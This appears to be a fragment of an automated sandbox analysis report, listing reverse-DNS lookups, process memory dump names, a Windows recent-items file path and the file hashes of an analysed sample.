| US | 8.8.8.8:53 | 241.42.69.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.130.81.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.227.111.52.in-addr.arpa | udp |
Files
memory/3964-0-0x00007FFDA384D000-0x00007FFDA384E000-memory.dmp
memory/3964-1-0x00007FFD63830000-0x00007FFD63840000-memory.dmp
memory/3964-4-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp
memory/3964-5-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp
memory/3964-6-0x00007FFD63830000-0x00007FFD63840000-memory.dmp
memory/3964-3-0x00007FFD63830000-0x00007FFD63840000-memory.dmp
memory/3964-7-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp
memory/3964-8-0x00007FFD63830000-0x00007FFD63840000-memory.dmp
memory/3964-9-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp
memory/3964-2-0x00007FFD63830000-0x00007FFD63840000-memory.dmp
memory/3964-12-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp
memory/3964-11-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp
memory/3964-13-0x00007FFD60F20000-0x00007FFD60F30000-memory.dmp
memory/3964-10-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp
memory/3964-14-0x00007FFD60F20000-0x00007FFD60F30000-memory.dmp
memory/3888-34-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp
memory/3888-37-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp
memory/3964-39-0x00007FFDA384D000-0x00007FFDA384E000-memory.dmp
memory/3964-40-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp
memory/3964-41-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp
memory/3888-45-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp
memory/3888-46-0x00007FF61A8F0000-0x00007FF61A8F8000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | f917523c655cb2da375dc863beb2e439 |
| SHA1 | ee216f3f4c91065eaba9a87b1423743f87949e97 |
| SHA256 | 7d2fab111c19abf62ec6cd3bea1fec1d32869aff87c445d56ac858e8f8df5a50 |
| SHA512 | b8d1ab44dbe4883b4c9e9b3086f37b575550f9ca43c9c92306f577467f60276754d4a403138e3650f3bc5277af253be0f8a35812c70a09306e657310c8790460 |